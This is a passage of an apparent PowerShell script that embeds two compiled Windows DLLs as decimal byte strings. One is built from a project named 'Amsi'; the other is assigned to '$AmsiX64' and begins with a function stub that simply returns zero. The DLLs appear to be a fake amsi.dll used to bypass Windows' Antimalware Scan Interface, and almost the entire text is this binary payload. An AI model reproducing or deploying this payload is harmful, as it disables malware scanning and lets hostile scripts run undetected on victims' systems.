0 0 0 0 184 37 0 0 84 37 0 0 152 37 0 0 118 37 0 0 194 37 0 0 0 0 0 0 154 38 0 0 140 38 0 0 116 38 0 0 88 38 0 0 60 38 0 0 26 38 0 0 8 38 0 0 250 37 0 0 238 37 0 0 0 0 0 0 27 28 0 16 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 48 0 16 112 48 0 16 0 0 0 0 0 0 0 0 144 29 62 87 0 0 0 0 2 0 0 0 61 0 0 0 132 33 0 0 132 19 0 0 0 0 0 0 144 29 62 87 0 0 0 0 12 0 0 0 20 0 0 0 196 33 0 0 196 19 0 0 0 0 0 0 144 29 62 87 0 0 0 0 13 0 0 0 44 2 0 0 216 33 0 0 216 19 0 0 0 0 0 0 144 29 62 87 0 0 0 0 14 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 92 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4 48 0 16 128 33 0 16 1 0 0 0 112 32 0 16 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 75 26 0 0 82 83 68 83 69 10 117 219 0 114 41 77 133 149 98 78 29 103 122 248 7 0 0 0 67 58 92 68 101 118 101 108 111 112 109 101 110 116 92 65 109 115 105 92 82 101 108 101 97 115 101 92 65 109 115 105 46 112 100 98 0 0 0 0 0 0 0 0 20 0 0 0 20 0 0 0 1 0 0 0 19 0 0 0 71 67 84 76 0 16 0 0 124 12 0 0 46 116 101 120 116 36 109 110 0 0 0 0 0 32 0 0 112 0 0 0 46 105 100 97 116 97 36 53 0 0 0 0 112 32 0 0 4 0 0 0 46 48 48 99 102 103 0 0 116 32 0 0 4 0 0 0 46 67 82 84 36 88 67 65 0 0 0 0 120 32 0 0 4 0 0 0 46 67 82 84 36 88 67 90 0 0 0 0 124 32 0 0 4 0 0 0 46 67 82 84 36 88 73 65 0 0 0 0 128 32 0 0 4 0 0 0 46 67 82 84 36 88 73 90 0 0 0 0 132 32 0 0 4 0 0 0 46 67 82 84 36 88 80 65 0 0 0 0 136 32 0 0 4 0 0 0 46 67 82 84 36 88 80 90 0 0 0 0 140 32 0 0 4 0 0 0 46 67 82 84 36 88 84 65 0 0 0 0 144 32 0 0 4 0 0 0 46 67 82 84 36 88 84 90 0 0 0 0 160 32 0 0 220 0 0 0 46 114 100 97 116 97 0 0 128 33 0 0 4 0 0 0 46 114 100 97 116 97 36 115 120 100 97 116 97 0 0 0 132 33 0 0 128 2 0 0 46 114 100 97 116 97 36 122 122 122 100 98 103 0 0 0 4 36 0 0 4 0 0 0 46 114 116 99 36 73 65 65 0 0 0 0 8 36 0 0 4 0 0 0 46 114 116 99 36 73 90 90 0 0 0 0 12 36 0 0 4 0 0 0 46 114 116 99 36 84 65 65 0 0 0 0 16 36 0 0 4 0 0 0 46 114 116 99 36 84 90 90 0 0 0 0 24 36 0 0 124 0 0 0 46 120 100 97 116 97 36 120 0 0 0 0 148 36 0 0 60 0 0 0 46 105 100 97 116 97 36 50 0 0 0 0 208 36 0 0 20 0 0 0 46 105 100 97 116 97 36 51 0 0 0 0 228 36 0 0 112 0 0 0 46 105 100 97 116 97 36 52 0 0 0 0 84 37 0 0 136 2 0 0 46 105 100 97 116 97 36 54 0 0 0 0 0 48 0 0 24 0 0 0 46 100 97 116 97 0 0 0 24 48 0 0 112 3 0 0 46 98 115 115 0 0 0 0 0 64 0 0 20 0 0 0 46 103 102 105 100 115 36 121 0 0 0 0 0 80 0 0 88 0 0 0 46 114 115 114 99 36 48 49 0 0 0 0 96 80 0 0 128 1 0 0 46 114 115 114 99 36 48 50 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 254 255 255 255 0 0 0 0 208 255 255 255 0 0 0 0 254 255 255 255 0 0 0 0 110 17 0 16 0 0 0 0 254 255 255 255 0 0 0 0 212 255 255 255 0 0 0 0 254 255 255 255 0 0 0 0 233 17 0 16 0 0 0 0 254 255 255 255 0 0 0 0 212 255 255 255 0 0 0 0 254 255 255 255 203 18 0 16 234 18 0 16 0 0 0 0 254 255 255 255 0 0 0 0 216 255 255 255 0 0 0 0 254 255 255 255 215 22 0 16 234 22 0 16 20 37 0 0 0 0 0 0 0 0 0 0 220 37 0 0 48 32 0 0 44 37 0 0 0 0 0 0 0 0 0 0 164 38 0 0 72 32 0 0 228 36 0 0 0 0 0 0 0 0 0 0 206 39 0 0 0 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 198 38 0 0 0 39 0 0 20 39 0 0 40 39 0 0 68 39 0 0 186 39 0 0 164 39 0 0 138 39 0 0 116 39 0 0 94 39 0 0 226 38 0 0 0 0 0 0 184 37 0 0 84 37 0 0 152 37 0 0 118 37 0 0 194 37 0 0 0 0 0 0 154 38 0 0 140 38 0 0 116 38 0 0 88 38 0 0 60 38 0 0 26 38 0 0 8 38 0 0 250 37 0 0 238 37 0 0 0 0 0 0 40 0 95 95 116 101 108 101 109 101 116 114 121 95 109 97 105 110 95 105 110 118 111 107 101 95 116 114 105 103 103 101 114 0 41 0 95 95 116 101 108 101 109 101 116 114 121 95 109 97 105 110 95 114 101 116 117 114 110 95 116 114 105 103 103 101 114 0 37 0 95 95 115 116 100 95 116 121 112 101 95 105 110 102 111 95 100 101 115 116 114 111 121 95 108 105 115 116 0 0 72 0 109 101 109 115 101 116 0 0 53 0 95 101 120 99 101 112 116 95 104 97 110 100 108 101 114 52 95 99 111 109 109 111 110 0 86 67 82 85 78 84 73 77 69 49 52 48 46 100 108 108 0 0 56 0 95 105 110 105 116 116 101 114 109 0 57 0 95 105 110 105 116 116 101 114 109 95 101 0 65 0 95 115 101 104 95 102 105 108 116 101 114 95 100 108 108 0 53 0 95 105 110 105 116 105 97 108 105 122 101 95 110 97 114 114 111 119 95 101 110 118 105 114 111 110 109 101 110 116 0 0 54 0 95 105 110 105 116 105 97 108 105 122 101 95 111 110 101 120 105 116 95 116 97 98 108 101 0 0 62 0 95 114 101 103 105 115 116 101 114 95 111 110 101 120 105 116 95 102 117 110 99 116 105 111 110 0 36 0 95 101 120 101 99 117 116 101 95 111 110 101 120 105 116 95 116 97 98 108 101 0 31 0 95 99 114 116 95 97 116 101 120 105 116 0 23 0 95 99 101 120 105 116 0 0 97 112 105 45 109 115 45 119 105 110 45 99 114 116 45 114 117 110 116 105 109 101 45 108 49 45 49 45 48 46 100 108 108 0 130 5 85 110 104 97 110 100 108 101 100 69 120 99 101 112 116 105 111 110 70 105 108 116 101 114 0 0 67 5 83 101 116 85 110 104 97 110 100 108 101 100 69 120 99 101 112 116 105 111 110 70 105 108 116 101 114 0 9 2 71 101 116 67 117 114 114 101 110 116 80 114 111 99 101 115 115 0 97 5 84 101 114 109 105 110 97 116 101 80 114 111 99 101 115 115 0 0 109 3 73 115 80 114 111 99 101 115 115 111 114 70 101 97 116 117 114 101 80 114 101 115 101 110 116 0 45 4 81 117 101 114 121 80 101 114 102 111 114 109 97 110 99 101 67 111 117 110 116 101 114 0 10 2 71 101 116 67 117 114 114 101 110 116 80 114 111 99 101 115 115 73 100 0 14 2 71 101 116 67 117 114 114 101 110 116 84 104 114 101 97 100 73 100 0 0 214 2 71 101 116 83 121 115 116 101 109 84 105 109 101 65 115 70 105 108 101 84 105 109 101 0 75 3 73 110 105 116 105 97 108 105 122 101 83 76 105 115 116 72 101 97 100 0 103 3 73 115 68 101 98 117 103 103 101 114 80 114 101 115 101 110 116 0 75 69 82 78 69 76 51 50 46 100 108 108 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 177 25 191 68 78 230 64 187 255 255 255 255 0 0 0 0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 54 0 0 0 73 0 0 0 76 0 0 0 12 0 0 0 10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 24 0 0 0 24 0 0 128 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 2 0 0 0 48 0 0 128 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 9 4 0 0 72 0 0 0 96 80 0 0 125 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 60 63 120 109 108 32 118 101 114 115 105 111 110 61 39 49 46 48 39 32 101 110 99 111 100 105 110 103 61 39 85 84 70 45 56 39 32 115 116 97 110 100 97 108 111 110 101 61 39 121 101 115 39 63 62 13 10 60 97 115 115 101 109 98 108 121 32 120 109 108 110 115 61 39 117 114 110 58 115 99 104 101 109 97 115 45 109 105 99 114 111 115 111 102 116 45 99 111 109 58 97 115 109 46 118 49 39 32 109 97 110 105 102 101 115 116 86 101 114 115 105 111 110 61 39 49 46 48 39 62 13 10 32 32 60 116 114 117 115 116 73 110 102 111 32 120 109 108 110 115 61 34 117 114 110 58 115 99 104 101 109 97 115 45 109 105 99 114 111 115 111 102 116 45 99 111 109 58 97 115 109 46 118 51 34 62 13 10 32 32 32 32 60 115 101 99 117 114 105 116 121 62 13 10 32 32 32 32 32 32 60 114 101 113 117 101 115 116 101 100 80 114 105 118 105 108 101 103 101 115 62 13 10 32 32 32 32 32 32 32 32 60 114 101 113 117 101 115 116 101 100 69 120 101 99 117 116 105 111 110 76 101 118 101 108 32 108 101 118 101 108 61 39 97 115 73 110 118 111 107 101 114 39 32 117 105 65 99 99 101 115 115 61 39 102 97 108 115 101 39 32 47 62 13 10 32 32 32 32 32 32 60 47 114 101 113 117 101 115 116 101 100 80 114 105 118 105 108 101 103 101 115 62 13 10 32 32 32 32 60 47 115 101 99 117 114 105 116 121 62 13 10 32 32 60 47 116 114 117 115 116 73 110 102 111 62 13 10 60 47 97 115 115 101 109 98 108 121 62 13 10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 16 0 0 12 1 0 0 7 48 108 48 155 48 171 48 194 48 211 48 228 48 233 48 2 49 7 49 20 49 97 49 126 49 136 49 150 49 168 49 189 49 251 49 212 50 7 51 85 51 94 51 105 51 112 51 144 51 150 51 156 51 162 51 168 51 174 51 181 51 188 51 195 51 202 51 209 51 216 51 223 51 231 51 239 51 247 51 3 52 12 52 17 52 23 52 33 52 43 52 59 52 75 52 91 52 100 52 201 52 121 53 170 53 249 53 12 54 31 54 43 54 59 54 76 54 114 54 135 54 142 54 148 54 166 54 176 54 17 55 30 55 69 55 77 55 102 55 160 55 187 55 199 55 214 55 223 55 236 55 27 56 35 56 46 56 52 56 58 56 70 56 76 56 111 56 160 56 75 57 106 57 116 57 133 57 146 57 151 57 189 57 194 57 231 57 241 57 14 58 91 58 96 58 115 58 129 58 156 58 167 58 54 59 63 59 71 59 142 59 157 59 164 59 218 59 227 59 240 59 251 59 4 60 19 60 30 60 36 60 42 60 48 60 54 60 60 60 66 60 72 60 78 60 84 60 90 60 96 60 102 60 108 60 114 60 0 0 0 32 0 0 32 0 0 0 112 48 164 48 168 48 92 49 96 49 104 49 48 52 80 52 108 52 112 52 140 52 144 52 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + $AmsiX64 = "77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 14 31 186 14 0 180 9 205 33 184 1 76 205 33 84 104 105 115 32 112 114 111 103 114 97 109 32 99 97 110 110 111 116 32 98 101 32 114 117 110 32 105 110 32 68 79 83 32 109 111 100 101 46 13 13 10 36 0 0 0 0 0 0 0 148 172 98 253 208 205 12 174 208 205 12 174 208 205 12 174 217 181 159 174 210 205 12 174 190 150 13 175 211 205 12 174 190 150 15 175 210 205 12 174 190 150 9 175 216 205 12 174 190 150 8 175 217 205 12 174 13 50 199 174 210 205 12 174 208 205 13 174 240 205 12 174 2 150 4 175 209 205 12 174 2 150 243 174 209 205 12 174 2 150 14 175 209 205 12 174 82 105 99 104 208 205 12 174 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 80 69 0 0 100 134 7 0 136 29 62 87 0 0 0 0 0 0 0 0 240 0 34 32 11 2 14 0 0 16 0 0 0 28 0 0 0 0 0 0 160 19 0 0 0 16 0 0 0 0 0 128 1 0 0 0 0 16 0 0 0 2 0 0 6 0 0 0 0 0 0 0 6 0 0 0 0 0 0 0 0 128 0 0 0 4 0 0 0 0 0 0 2 0 96 1 0 0 16 0 0 0 0 0 0 16 0 0 0 0 0 0 0 0 16 0 0 0 0 0 0 16 0 0 0 0 0 0 0 0 0 0 16 0 0 0 0 0 0 0 0 0 0 0 108 38 0 0 80 0 0 0 0 96 0 0 224 1 0 0 0 64 0 0 176 1 0 0 0 0 0 0 0 0 0 0 0 112 0 0 24 0 0 0 112 33 0 0 112 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 224 33 0 0 148 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0 248 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 46 116 101 120 116 0 0 0 211 14 0 0 0 16 0 0 0 16 0 0 0 4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0 96 46 114 100 97 116 97 0 0 128 10 0 0 0 32 0 0 0 12 0 0 0 20 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 100 97 116 97 0 0 0 64 6 0 0 0 48 0 0 0 2 0 0 0 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 192 46 112 100 97 116 97 0 0 176 1 0 0 0 64 0 0 0 2 0 0 0 34 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 103 102 105 100 115 0 0 16 0 0 0 0 80 0 0 0 2 0 0 0 36 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 114 115 114 99 0 0 0 224 1 0 0 0 96 0 0 0 2 0 0 0 38 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 114 101 108 111 99 0 0 24 0 0 0 0 112 0 0 0 2 0 0 0 40 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 66 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 51 192 195 204 204 204 204 204 204 204 204 204 204 204 204 204 204 204 204 204 204 204 102 102 15 31 132 0 0 0 0 0 72 59 13 217 31 0 0 242 117 18 72 193 193 16 102 247 193 255 255 242 117 2 242 195 72 193 201 16 233 211 3 0 0 204 204 204 72 131 236 40 133 210 116 57 131 234 1 116 40 131 234 1 116 22 131 250 1 116 10 184 1 0 0 0 72 131 196 40 195 232 142 5 0 0 235 5 232 95 5 0 0 15 182 192 72 131 196 40 195 73 139 208 72 131 196 40 233 15 0 0 0 77 133 192 15 149 193 72 131 196 40 233 44 1 0 0 72 137 92 36 8 72 137 116 36 16 72 137 124 36 32 65 86 72 131 236 32 72 139 242 76 139 241 51 201 232 2 6 0 0 132 192 117 7 51 192 233 232 0 0 0 232 150 4 0 0 138 216 136 68 36 64 64 183 1 131 61 234 36 0 0 0 116 10 185 7 0 0 0 232 62 9 0 0 199 5 212 36 0 0 1 0 0 0 232 199 4 0 0 132 192 116 103 232 110 10 0 0 72 141 13 179 10 0 0 232 6 8 0 0 232 197 8 0 0 72 141 13 206 8 0 0 232 245 7 0 0 232 224 8 0 0 72 141 21 253 15 0 0 72 141 13 238 15 0 0 232 213 12 0 0 133 192 117 41 232 96 4 0 0 132 192 116 32 72 141 21 205 15 0 0 72 141 13 190 15 0 0 232 175 12 0 0 199 5 103 36 0 0 2 0 0 0 64 50 255 138 203 232 9 7 0 0 64 132 255 15 133 78 255 255 255 232 167 8 0 0 72 139 216 72 131 56 0 116 36 72 139 200 232 78 6 0 0 132 192 116 24 72 139 27 72 139 203 232 111 10 0 0 76 139 198 186 2 0 0 0 73 139 206 255 211 255 5 156 30 0 0 184 1 0 0 0 72 139 92 36 48 72 139 116 36 56 72 139 124 36 72 72 131 196 32 65 94 195 204 72 137 92 36 8 72 137 116 36 24 87 72 131 236 32 64 138 241 139 5 104 30 0 0 51 219 133 192 127 4 51 192 235 80 255 200 137 5 86 30 0 0 232 109 3 0 0 64 138 248 136 68 36 56 131 61 195 35 0 0 2 116 10 185 7 0 0 0 232 23 8 0 0 232 102 4 0 0 137 29 172 35 0 0 232 139 4 0 0 64 138 207 232 75 6 0 0 51 210 64 138 206 232 101 6 0 0 132 192 15 149 195 139 195 72 139 92 36 48 72 139 116 36 64 72 131 196 32 95 195 204 204 72 139 196 72 137 88 32 76 137 64 24 137 80 16 72 137 72 8 86 87 65 86 72 131 236 64 77 139 240 139 250 72 139 241 141 66 255 131 248 1 119 46 232 217 0 0 0 139 216 137 68 36 48 133 192 15 132 179 0 0 0 77 139 198 139 215 72 139 206 232 182 253 255 255 139 216 137 68 36 48 133 192 15 132 152 0 0 0 131 255 1 117 8 72 139 206 232 55 11 0 0 77 139 198 139 215 72 139 206 232 74 253 255 255 139 216 137 68 36 48 131 255 1 117 52 133 192 117 39 77 139 198 51 210 72 139 206 232 46 253 255 255 77 139 198 51 210 72 139 206 232 101 253 255 255 77 139 198 51 210 72 139 206 232 96 0 0 0 131 255 1 117 4 133 219 116 4 133 255 117 12 72 139 206 232 229 10 0 0 133 255 116 5 131 255 3 117 42 77 139 198 139 215 72 139 206 232 45 253 255 255 139 216 137 68 36 48 133 192 116 19 77 139 198 139 215 72 139 206 232 30 0 0 0 139 216 137 68 36 48 235 6 51 219 137 92 36 48 139 195 72 139 92 36 120 72 131 196 64 65 94 95 94 195 72 137 92 36 8 72 137 108 36 16 72 137 116 36 24 87 72 131 236 32 72 139 29 233 13 0 0 73 139 248 139 242 72 139 233 72 133 219 117 5 141 67 1 235 18 72 139 203 232 127 8 0 0 76 139 199 139 214 72 139 205 255 211 72 139 92 36 48 72 139 108 36 56 72 139 116 36 64 72 131 196 32 95 195 72 137 92 36 8 72 137 116 36 16 87 72 131 236 32 73 139 248 139 218 72 139 241 131 250 1 117 5 232 99 5 0 0 76 139 199 139 211 72 139 206 72 139 92 36 48 72 139 116 36 56 72 131 196 32 95 233 103 254 255 255 204 204 204 64 83 72 131 236 32 72 139 217 51 201 255 21 119 12 0 0 72 139 203 255 21 6 12 0 0 255 21 32 12 0 0 72 139 200 186 9 4 0 192 72 131 196 32 91 72 255 37 76 12 0 0 72 137 76 36 8 72 131 236 56 185 23 0 0 0 232 13 10 0 0 133 192 116 7 185 2 0 0 0 205 41 72 141 13 183 28 0 0 232 170 0 0 0 72 139 68 36 56 72 137 5 158 29 0 0 72 141 68 36 56 72 131 192 8 72 137 5 46 29 0 0 72 139 5 135 29 0 0 72 137 5 248 27 0 0 72 139 68 36 64 72 137 5 252 28 0 0 199 5 210 27 0 0 9 4 0 192 199 5 204 27 0 0 1 0 0 0 199 5 214 27 0 0 1 0 0 0 184 8 0 0 0 72 107 192 0 72 141 13 206 27 0 0 72 199 4 1 2 0 0 0 184 8 0 0 0 72 107 192 0 72 139 13 70 27 0 0 72 137 76 4 32 184 8 0 0 0 72 107 192 1 72 139 13 57 27 0 0 72 137 76 4 32 72 141 13 125 12 0 0 232 0 255 255 255 72 131 196 56 195 204 204 204 64 83 86 87 72 131 236 64 72 139 217 255 21 31 11 0 0 72 139 179 248 0 0 0 51 255 69 51 192 72 141 84 36 96 72 139 206 255 21 253 10 0 0 72 133 192 116 57 72 131 100 36 56 0 72 141 76 36 104 72 139 84 36 96 76 139 200 72 137 76 36 48 76 139 198 72 141 76 36 112 72 137 76 36 40 51 201 72 137 92 36 32 255 21 190 10 0 0 255 199 131 255 2 124 177 72 131 196 64 95 94 91 195 204 204 204 72 131 236 40 232 103 8 0 0 133 192 116 33 101 72 139 4 37 48 0 0 0 72 139 72 8 235 5 72 59 200 116 20 51 192 240 72 15 177 13 64 32 0 0 117 238 50 192 72 131 196 40 195 176 1 235 247 204 204 204 72 131 236 40 232 43 8 0 0 133 192 116 7 232 94 6 0 0 235 5 232 95 8 0 0 176 1 72 131 196 40 195 72 131 236 40 51 201 232 65 1 0 0 132 192 15 149 192 72 131 196 40 195 204 204 204 72 131 236 40 232 99 8 0 0 132 192 117 4 50 192 235 18 232 86 8 0 0 132 192 117 7 232 77 8 0 0 235 236 176 1 72 131 196 40 195 72 131 236 40 232 59 8 0 0 232 54 8 0 0 176 1 72 131 196 40 195 204 204 204 72 137 92 36 8 72 137 108 36 16 72 137 116 36 24 87 72 131 236 32 73 139 249 73 139 240 139 218 72 139 233 232 152 7 0 0 133 192 117 23 131 251 1 117 18 72 139 207 232 187 5 0 0 76 139 198 51 210 72 139 205 255 215 72 139 84 36 88 139 76 36 80 72 139 92 36 48 72 139 108 36 56 72 139 116 36 64 72 131 196 32 95 233 153 7 0 0 204 204 204 72 131 236 40 232 79 7 0 0 133 192 116 16 72 141 13 72 31 0 0 72 131 196 40 233 145 7 0 0 232 106 249 255 255 133 192 117 5 232 143 7 0 0 72 131 196 40 195 72 131 236 40 51 201 232 141 7 0 0 72 131 196 40 233 132 7 0 0 64 83 72 131 236 32 15 182 5 59 31 0 0 133 201 187 1 0 0 0 15 68 195 136 5 43 31 0 0 232 46 5 0 0 232 93 7 0 0 132 192 117 4 50 192 235 20 232 80 7 0 0 132 192 117 9 51 201 232 69 7 0 0 235 234 138 195 72 131 196 32 91 195 204 204 204 72 137 92 36 8 85 72 139 236 72 131 236 64 139 217 131 249 1 15 135 166 0 0 0 232 171 6 0 0 133 192 116 43 133 219 117 39 72 141 13 160 30 0 0 232 225 6 0 0 133 192 116 4 50 192 235 122 72 141 13 164 30 0 0 232 205 6 0 0 133 192 15 148 192 235 103 72 139 21 169 24 0 0 73 131 200 255 139 194 185 64 0 0 0 131 224 63 43 200 176 1 73 211 200 76 51 194 76 137 69 224 76 137 69 232 15 16 69 224 76 137 69 240 242 15 16 77 240 15 17 5 69 30 0 0 76 137 69 224 76 137 69 232 15 16 69 224 76 137 69 240 242 15 17 13 61 30 0 0 242 15 16 77 240 15 17 5 57 30 0 0 242 15 17 13 65 30 0 0 72 139 92 36 80 72 131 196 64 93 195 185 5 0 0 0 232 84 2 0 0 204 204 204 204 72 131 236 24 76 139 193 184 77 90 0 0 102 57 5 29 232 255 255 117 124 72 99 5 80 232 255 255 72 141 21 13 232 255 255 72 141 12 16 129 57 80 69 0 0 117 98 184 11 2 0 0 102 57 65 24 117 87 76 43 194 15 183 65 20 72 141 81 24 72 3 208 15 183 65 6 72 141 12 128 76 141 12 202 72 137 20 36 73 59 209 116 24 139 74 12 76 59 193 114 10 139 66 8 3 193 76 59 192 114 8 72 131 194 40 235 223 51 210 72 133 210 117 4 50 192 235 23 247 66 36 0 0 0 128 116 4 50 192 235 10 176 1 235 6 50 192 235 2 50 192 72 131 196 24 195 64 83 72 131 236 32 138 217 232 83 5 0 0 51 210 133 192 116 11 132 219 117 7 72 135 21 62 29 0 0 72 131 196 32 91 195 64 83 72 131 236 32 128 61 99 29 0 0 0 138 217 116 4 132 210 117 14 138 203 232 144 5 0 0 138 203 232 137 5 0 0 176 1 72 131 196 32 91 195 204 64 83 72 131 236 32 72 139 21 55 23 0 0 72 139 217 139 202 72 51 21 251 28 0 0 131 225 63 72 211 202 72 131 250 255 117 10 72 139 203 232 63 5 0 0 235 15 72 139 211 72 141 13 219 28 0 0 232 34 5 0 0 51 201 133 192 72 15 68 203 72 139 193 72 131 196 32 91 195 204 72 131 236 40 232 167 255 255 255 72 247 216 27 192 247 216 255 200 72 131 196 40 195 204 72 137 92 36 32 85 72 139 236 72 131 236 32 72 131 101 24 0 72 187 50 162 223 45 153 43 0 0 72 139 5 185 22 0 0 72 59 195 117 111 72 141 77 24 255 21 226 6 0 0 72 139 69 24 72 137 69 16 255 21 220 6 0 0 139 192 72 49 69 16 255 21 216 6 0 0 139 192 